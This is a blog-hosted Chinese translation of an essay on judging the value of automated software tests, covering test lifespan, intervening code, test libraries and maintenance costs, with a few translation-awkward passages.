这是我衡量自动化测试价值的标准——可以第一时间或预先发现bug——这看上去似乎有些古怪。人们通常是用做这项工作所花费的时间来衡量自动化测试的代价的。我之所以使用这样一个衡量标准是因为自动化测试的目的是在下一次运行中能够发现更多的bug。发现bug的数目体现了自动化测试的价值,因此衡量自动化测试价值的标准也因该统一到这个上面来。(注释2)
________________________________________________________________________________________
(注释1:有一些例外。例如,或许测试可以被制成模板。用一个工具可以通过处理这些模板中的表单来驱动产品的测试。而向模版表格中填入数据做自动化测试要比做手工测试快的多。看看[Pettichord96]和[Kaner97]的风格,如果用手工测试的花费会很大,我们就不会去牵扯它。但是需要小心:人们往往会低估自动化测试的花费。举个例子来说,将需要输入的数据填写到表单中会是一件非常easy的事,但是自动化测试的结果的验证却会是一件花费很大的事情。感谢Dave Gelperin在这个问题上给我的提示。)
(注释2:在我和Cem Kaner的谈话中,第一次让我感到应该这样衡量自动化测试的价值。Noel Nyman指出这是约翰 Daly规则的一个特别的情形,就像你总是问题:“我在做测试的时候还有哪些bug没有发现?”)
在预算上需要注意的地方
我想让你尽可能的准确估计在你的自动化测试中平均会出现的bug数是多少,并将结果告诉我。你的答案不应该是“0.25”或是“0.25±0.024”。你的答案应该象这样“我会努力减少bug数的出现”或者“我的bug决不会再次出现”。
稍后,你会被要求估计一个测试的生命周期(生存时间)。这个答案应该是这个样子的:"不会超过软件的发布时间" 或者 "a long time" than "34.6 weeks".
然后,你会被要求估计在测试生命周期内可以找到多少个bug?答案依然是模糊的。
最后,你会被要求对自动化测试和手工测试模糊估计的结果做一个比较并做一个结论。
这样做有用吗?
回答是肯定的。当你考虑选择谁的时候,需要做出这样的比较——也许不是在表面上做的——尽管是一些少的比较模糊的数据。我的经验是快速的回答这些问题希望可以引导一次优秀的测试,不去管答案是否精确。我在这里倾向于不需要精确的去回答这些问题,但是有用的问题和容易被误解的问题必须要做精确的回答,不要给别人带来误导。
How Long Do Automated Tests Survive?(一次自动化测试的生命期会有多久?)
当代码做了改动之后,自动化测试显示出它的价值所在。除了一些极少数类型的测试以外,在代码未作任何改动之前去做重复测试是一个浪费时间而且没有任何效果的做法:它会找出一些bug,但和你第一次做测试所发现的是一样的。(例外,像所用时间测试和压力测试可以概略的用同一中方式来分析。因为简单我忽略了它们。(I omit them for simplicity.))
但是一个测试不会永远的持续下去。一些观点指出,产品上所做的变动很可能破坏一个测试。这个被破坏的测试将不得不做出修改或是被丢弃。我有一个很合理的近似值是这样的,我们去做一个测试的修改和抛弃已有的测试而重新编写一个新的测试的价值是同样的(注释3)。但是无论在变化后你做什么补救,如果修改和重新编写都不能达到要求的话,我认为放弃它而使用手工测试会比较好一些。
简而言之,测试的有用寿命看起来像是这一样:
当决定是否做自动化测试的时候,你必须估计出存在多少会影响测试的代码。如果你的答案是“不多”,那么自动化测试在发现bug上的表现会特别的出色。
你需要一些背景知识来估计一个测试的寿命。你还需要了解一些代码影响测试的途径。在这里我们从一个特别简单的图表开始:
________________________________________________________________________________________
(注释3:如果你使用录制工具能够将一次测试重放,那样的价值将会比在开始测试时记录其预期结果要有价值的多。花一些时间和精力在这个上面是在一次测试中是很有必要的。如果你要修改测试脚本,你需要正确地理解这个脚本,修改它测试它,确定你没有可能揭露的所有问题。你会发现新的测试脚本不可能完成老脚本能做的所有功能,所以可以将一个修改测试保留新旧两个测试脚本。如果你的testing effort已经确定下来,那么去修改一个测试要比从头开始写一个测试要好的多。这些将会不影响你在纸上做的工作;那样做会减少自动化测试所需要的花费。这一切的前提是你要清楚的认识和把握一次修复所需要的代价,人们往往会把代价估计不足。)假设你的工作是要写一组测试来检测用户是否输入了正确的电话号码,那么你就需要检查是否是输入了有效地阿拉伯数字而非其它字符等等。如果你清楚其中的代码(据我了解很少人会这样)你可以设计一个规划列表将校验电话号码的代码使用高亮显示做出标记。通常称它为 the code under test。这部分代码可以更加完善你的测试任务。
在大多数时候,你不可能有机会直接运用the code under test。例如:你不可能直接得到确认电话号码的那部分代码,因为它通常会是一个用户的一部分属性,就需要通过用户接口来测试,将与其关联的那部分代码组织起来,使这部分转变到内部程序的数据,并会按照常规将这部分数据表现出来。当然,你也不能直接对表现出来的数据进行检测,因为转变会通过其他的代码来将其转变成在用户界面可见的最后的数据(就像非法的数据会转换成错误信息)。我称这些代码为intervening code——介于测试本身和code under test之间的代码。
Changes to the intervening code(对介入其间的代码进行变化)
介入其间的代码是导致测试死亡的主要因素。而且用户图形界面接口较上文提到的那个接口和一些硬件驱动接口相比更是这个样子。例如:假设用户接口要求你输入电话号码,但是现在变化为要求提供一个电话按键区的视觉表现。这时你要使用鼠标敲击号码模拟使用真实的电话。(这是个非常愚蠢的主意,但是这怪异的事情已经发生了。)尽管接口传给了code under test一个正确的值,但是用户界面的变化很可能破坏一次自动化测试,是因为很可能使用者再没有地方输入电话号码了。
就像另外的一个例子,一个输入的错误用户界面会用其它的方法来告诉用户。它可能会刷新主窗体使其显示红色同时发出特殊的声音来代替弹出的提示信息来告知你不能完成这次操作。但是,如果你的测试是通过测试是不是弹出提示信息来判定的,那么将视这种正常的运行为一个bug。很显然这个测试就没有效果了。
"Off the shelf "测试自动化工具能做避免测试死亡的有限制的工作。例如:大多数的GUI自动化测试工具都可以忽视文本框大小、位置和颜色的改变。从而把握像上面两段所提到的那些大的改变,但是需要事先定制。这需要在你的工程中有一些人去创建test libraries。这样就要求你,一个测试人员,在编写好测试的特殊术语,尽可能多的忽略用户接口的细节。例如,你的自动化测试可能包含这样一行定制的信息:try 217-555-1212 try是test library程序,它的作用是将电话号码翻译成接口可以知道的术语。如果用户界面接受在输入框中输入字符,try会在其中输入电话号码。如果需要通过显示在屏幕上的特定图形区域键入电话号码时,try也会做到。
test library 可以有效地将那些不相关信息过滤掉。这样我们就可以详细的准确的测试那些与功能相关的数据。在输入上,增加这些附加信息是intervening code所必须的。在输出上,它们将intervening code中的信息全部压缩到一个很重要的模块中,其中的信息实际上可以当作是Code Under Test的一个延伸。这种过滤可以用左图来描述:
多数用户界面的变化不会需要对测试做更改,而只需要对test library做相应的修改。应为test Code要比library Code多的多,所以只修改library Code的代价会很低。
但是,尽管我们有更好的补偿性的代码也不可能将测试从所有的变化中隔离出来。它仅仅是尽可能的去预期所有的事情。所以其中有很多可能性,将来很可能出现一些问题破坏你的测试。你必须问自己这样一个问题:
在变化中Intervening Code会把测试保护到什么程度?
你需要估计intervening Code的改变对测试造成影响的可能性。要保证用户界面永远的不会改变是一件不可能的事情,这就使你需要不停的改变自动化测试的脚本以保证测试可以自动的执行。(我不会相信界面冻结后永远不会变化,除非manager答应如果以后每做一个新的修改将会给我100美元)
如果变化是可能的,你一定会被询问对你的test Library保护你的测试不受其影响正常执行有多大的信心。如果说test Library不能保护测试,那么起码它可以很容易的做出改动以适应变化。如果花费一个半小时的时间可以拯救300个测试,那么所做的一切是值得的。但是,小心:很多人往往低估了维护test Library的困难,特别是在变化后需要手工的对测试test Library进行反复的修改。不应该马上就放弃,抛弃所有的测试类和test Library,从头开始,因为很可能只需要简单的修改就可以完成需要的测试。
如果你没有test Library——如果你正在使用自动化GUI测试工具来捕获和重放模式——你不要期待会有任何保护。一次对界面的修改会让你的大部分的测试“死亡”。往往不会有足够的时间来允许我们完成对发生变化的测试进行修改,我们不得不在少的花费和短的生命生存期之间做出选择。Changes to the code under test(改变测试下的代码)
Intervening Code不是唯一可以变化的代码,code under test同样可以变化。特别的是,它可以改变使其完全不同的去做某件事。
例如,假设几年前某个人写了一个关于点话号码的校验测试,为了检查那些不符合要求的电话号码,就像1-888-343-3533。在当时,没有888这样的电话号码,但是现在却存在这样的号码。这样就导致了测试拒绝888号码给出提示,尽管现在这个号码是合法的,但是测试脚本会按照先前的规则进行测试从而拒绝它。解决这件事情可能很简单也可能很复杂。如果你了解问题所在那么这件事是一件很容易的事情:只需要将“888”改为“889”。但是可能很困难对测试做足够的解释去了解测试电话号码整个的方法。或者你没有意识到“888”再现在来说是一个合法的号码,所以你会认为测试理所应当的测出这条Bug。测试在你使用一些假的“Bug”来骚扰开发人员之前是不会固定不变的。
所以,在决定是否要进行自动化测试之前你同样需要问自己这样的几个问题:
code under test 行为的稳定行如何?
注意强调的“稳定性”——只要他们保持外部可试行为相同代码的代码就OK!
不同类型的产品,不同类型的code under test有不同的稳定性。电话号码实际上还是相当稳定的。再如一个银行帐目管理系统可以说是一个相当稳定的系统,如果每次存100元需要收取30元的手续费那么记录到帐的就是130元,这种关系是稳定的(除非银行改变了收费的标准)。而用户的界界面是相当的不稳定的一个因素。
增加行为往往是无害的。例如,可能有这样一个检查,测试从一个帐户撤回 $100 由于 $30 生产错误导致操作失败但是帐户余款方面的没有改变。但是,现在测试被重写,增加了一个新的特性:顾客可以根据需要确定是否需要“自动透支保护”功能,它允许用户提取多余他帐户内存在的钱数。这种变化不会破坏现有的测试,只要默认的帐户测试保持原来的行为。(当然,新的测试必须依*新的行为来运行。)
我们的立足点在哪里呢?
现在我们知道了自动化测试应该跳远的障碍:必须保证自动化测试的价值要大于采用手工测试的价值。我们需要估计一个测试的生命周期,它可以有机会创造出价值的时间段。现在,我们需要询问一下它可以创造出价值的实际可能性。我们可以期待它能发现什么样的Bug?测试会延续它的价值吗?
这里的争论比较复杂,所以我先给出一个大纲。
1. The code under test has structure。如一个有用的近似值,我们能把code under test分为功能代码和支持代码。
2. 测试人员编写那些有业务特色的脚本代码,其它support code对测试人员来说是不可见的。
3. 对业务代码的变动会对测试的行为产生影响。因此,因为它导致测试的死亡的可能性要比导致测试显示出一个Bug的可能性要大得多。
4. 测试的价值主要体现在当support code发生变化后发现Bug的能力。
5. 我们不知道support code的任何事情!我们怎样去知道将来测试会不会把它当作是Bug被捕获?当找到一些Bug的时候我们怎样推测整个的测试过程是正确的?
----一般情况下如果某个地方做了变动那么那里就会出现Bug。如果那里在过去做了变化那么将来这里会有更多的变更。
----我们很难知道测试是否正常的工作,但是可以说明有一个功能没有正常的进行工作。这样的测试不会自动的执行。
6. 测试下的代码同其它的产品互相的影响,这些对support code的影响比较多。我们希望由于support code导致的Bug我们可以及时发现。
----我们再来认识一个低价值测试的特征。高价值的测试不可能是一个feature-driven的测试;而通常会是一个task-driven。
次要的考虑
当我在思考做自动化测试的时候我需要在头脑中留意这样一些事情:
l 人们(用户)可以会发现自动化测试没有发现的bug。我们用来过滤掉界面上不相关的变化的工具和测试库可能同样的也会过滤掉一些古怪的bug。我曾亲眼看到一个测试员和偶然的发现当他移动鼠标的时候鼠标会不停的闪动而且这个现象不会经常的出现,对这个现象进行了深入的研究后我们发现了一个严重的bug。我听说过这样的一组测试,测试在屏幕上以X,Y为坐标显示一个图形,而这个图形测试人员在界面上无法看到,可是测试工具却可以发现它,并给出了正常的报告。
l 但是,如果测试人员非常的注意那些古怪的bug,那么会非常的辛苦而且还不会得到准确的检测结果。如果潜藏一个精确度为0.0000001的bug,人是难以发现它的,而工具就不会。注意Nyman指出工具可能分析出来人们无法见到的东西。测试工具不会紧紧局限到屏幕上可见的那一部分内容,他可以发现表明下数据结构上的问题。
l 事实上,人们不可能保证反复的以手工的方式重复输入相同数据来完成同样测试的过程丝毫不差,相反的都会有些细小的差别。例如,人们的操作犯了错误、后退、重新输入,这样有时偶然会发现在错误操作处理和support code交互之间的bug。
l 需要在不同外部配置下进行的测试尽可能多的使用自动化测试。如果需要在其它的操作系统、驱动或者第三方的函数库等情况下运行程序,理论上等同于使用不同的support code来运行程序。如果你知道将来会有这些变化,自动化测试将有很高的价值。但是,编写一个对外部配置敏感的测试其实是一个骗局。因为这样很可能使这组测试没有多少对bug的判断力而只是可以在不同的环境下运行。
l 如果在第一次运行测试的时候找到了一个bug,你清楚你应该在对bug进行修改后需要重新的对它进行测试。但是可能仅仅对这一个bug做自动化测试是不充足的。可以对这部分代码做一个标记,说明将来会对这部分做更改,这样还可以提醒你对这部分进行更多的自动化测试,如果bug出现在support code里,尤其应该这样。
l 如果你的自动化测试设计的支持性非常的出色,开发人员可以很容易的使用它,让他们做一次测试观察结果要比你把bug通过仔细的描述来再现给开发人员要快的多也好的多。这中测试的自动化执行的级别会很高。开发人员通常使用测试工具会很困难,或者没有在他们的机器上安装这些工具,再或者有一个环境对测试造成不可思议的破坏等等。如果真的让开发来运行测试有可能会阻止了他们正常的工作,浪费了当量的时间,而这些的目的只是为了避免书写详细的bug报告。
l 最让人恶心的是在手工测试中找到了bug,但是没有办法再现。可能你做了些什么,可是根本没有记住是怎么做的。自动化测试很少会出现这样的情况(尽管有时候你没有注意到它们依*了已经变化了的环境)。产品中的跟踪和日志可以给我们很大的帮助,这些对开发人员是非常有用的。如果这些东西不存在,自动化测试的工具可以用来创造类似日志的文档记录键盘和鼠标的操作信息。这种日志的使用价值以来它的可读性是怎么样的,在程序内部产生的日志文档是非常好的。根据我所见到的,大部分的测试人员可以在用来做记录的便签儿上得到很多东西。
l 一组自动化测试每天都可以对整个的项目进行一次探测。一个手工测试的努力可能保持长久的时间来对所有的功能进行重复的测试。但是在做过不正确的修改之后自动化测试会很迅速的发现它。如果原先正常工作的部分现在被破坏了,首先的一个问题是“最后修改的代码是哪一部分?”调试一天内所做的修改是一件很没有必要的事情,那么使用自动化测试来查看修改的情况是一件很高兴的事情。
注意,真正有威胁性的调试是在处理于子系统之间的关系。如果产品很大,内容很繁琐很难进行调试,这样自动化测试会有很高的价值。对任务驱动的测试更是如此(尽管他的生命周期不是很长)。
l 在程序开发者做了一个修改后,测试人员要进行检查。可以包含原有测试的主要框架,再根据具体情况做相应变化。有时候交流很贫乏,测试人员不可能及时的被告知已经修改的地方。我们运气好,往往这样做的结果是自动化测试不会正常的继续进行,导致测试者开始注意修改的地方。自动化测试组越少,发生这种可能的机会越小。(我发现自动化测试是一个拐弯抹角的花费昂*的一个基本交流的替代品。)
l 因为施行自动化测试需要时间,所以你不可能像手工测试那样在出现bug的第一间告知开发人员。如果你的最终测试报告在两个星期后发布,而这段时间开发人员又在原先的基础上做了新的功能,这样就是一个问题。
l 我们要尽力避免只是因为实现自动化测试比较容易而不是考虑发现bug的能力来组织测试。你可能会发现你自己设计的测试太过简单,而已清醒的知道因为过于简单你的测试会在产品发生变化的时候被破坏。这样简单的测试也很少会发现support code下的bug。
l 假设产品改变了它的部分功能,导致自动化测试给出不真实错误报告。我们可以通过更改我们的测试来屏蔽掉这些虚假的报告,但同时我们的做法可能降低测试发现bug的能力。这样测试功能在无形之中是衰退了的。
l 一个好的自动化测试的测试类可以按照一定的顺序执行,并且可以每日改变之间的次序。这可能是从一套特征测试创造任务驱动测试的一个廉价的方法。这是Edward L. Peters当看完这篇文章的草稿后提醒我注意的地方。Noel Nyman指出,自动化测试在利用偶然性(测试过程的顺序和输入的数据)的方面比人要好。
l 在准备开始测试之前需要做好自动化测试的准备。那样的话,写测试脚本的时间就不会占用测试时间,就不需要在手工测试和它之间困难的选择。当这种产品准备测试时,你仍然应该考虑实际上使那些脚本工作的费用。
l 一次自动化的试验可能不会有任何发现直到下一版本出现之前。.手动测试将会发现一个版本中存在的任何bug。 在当前版本发现bug要比在下一个才发现版本bug有价值的多。(如果当前版本没有成功那么就不会有下一个版本。)
标题搜索
我的存档
数据统计
- 访问量: 42249
- 日志数: 40
- 文件数: 1
- 建立时间: 2007-08-06
- 更新时间: 2014-06-10